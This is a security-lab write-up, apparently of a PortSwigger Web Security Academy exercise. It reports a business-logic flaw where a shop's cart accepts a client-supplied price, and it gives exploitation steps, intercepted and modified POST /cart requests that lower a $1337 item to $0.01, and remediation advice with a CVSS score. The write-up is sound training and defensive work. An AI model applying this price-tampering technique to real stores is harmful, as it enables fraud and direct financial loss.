

Title of Issue

Business Logic Vulnerability — Excessive Trust in Client-Side Controls Enabling Price Manipulation

Description

The application's shopping cart relies entirely on client-supplied data for product pricing. When a product is added to the cart, the HTTP request includes the product price as a parameter that the server accepts and stores without validation against the authoritative server-side price. An attacker can intercept this request and modify the price to an arbitrary value — including a fraction of a cent — purchasing high-value items for almost nothing.

This represents a fundamental business logic flaw: critical financial values should never be accepted from the client side. The server must always compute and validate the price independently using its own trusted data source.

Affected Endpoint: `POST /cart` **Vulnerable Parameter:** `price`

Steps to Exploit

1. Log in as `wiener:peter` (store credit: \$100.00).
2. Navigate to the shop and select the **Lightweight I33t leather jacket** (price: \$1337.00).
3. Click **Add to cart** and intercept the resulting `POST /cart` request.
4. Observe the request body includes a `price` parameter:

```
productId=1&redir=PRODUCT&quantity=1&price=133700
```

(Price is in cents: $133700 = \$1337.00$)

5. Modify the `price` parameter to `1` (i.e., \$0.01):

```
productId=1&redir=PRODUCT&quantity=1&price=1
```

6. Forward the modified request.
 7. Navigate to the cart — the jacket is listed at \$0.01.
 8. Proceed to checkout and place the order using the \$100.00 store credit.
 9. The order is accepted.
-

Proof of Concept

Original intercepted request:

```
POST /cart HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/x-www-form-urlencoded

productId=1&redir=PRODUCT&quantity=1&price=133700
```

Modified request (price set to \$0.01):

```
POST /cart HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/x-www-form-urlencoded

productId=1&redir=PRODUCT&quantity=1&price=1
```

Cart response — price accepted by server:

Item added: Lightweight l33t leather jacket — \$0.01

Checkout completed with \$100.00 store credit, acquiring a \$1337.00 item for \$0.01.

Impact

- Acquisition of any product at an arbitrarily low price, causing direct financial loss.
- The vulnerability requires no special tools — any intercepting proxy (Burp Suite, browser DevTools) is sufficient.
- Scales to any volume — an attacker can purchase unlimited inventory at near-zero cost.
- Loss of revenue, inventory integrity, and business trust.

Mitigation / Remediation

1. **Never accept price from the client** — the server must compute the cart total by looking up prices from its own trusted database using the supplied `productId`.
2. **Validate all financial values server-side** — any price submitted by the client should be rejected outright; the server should maintain authoritative pricing.
3. **Remove the `price` parameter from client-side requests entirely** — the server should only need `productId` and `quantity`.
4. **Implement server-side business logic validation** — verify that computed totals match expected values before accepting payment.
5. **Conduct thorough business logic testing** as part of the security testing lifecycle, specifically testing all numeric parameters for manipulation.

CVSS Score

CVSS v3.1 Score: 7.5 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable via intercepted HTTP request
Attack Complexity	Low	Simple parameter modification, no complex exploit
Privileges Required	None	Any user (including guest checkout) can exploit this
User Interaction	None	No victim interaction required

Scope	Unchanged	Impact within the application's commerce system
Confidentiality Impact	None	No data exfiltrated
Integrity Impact	High	Financial data and order records are tampered
Availability Impact	None	No service disruption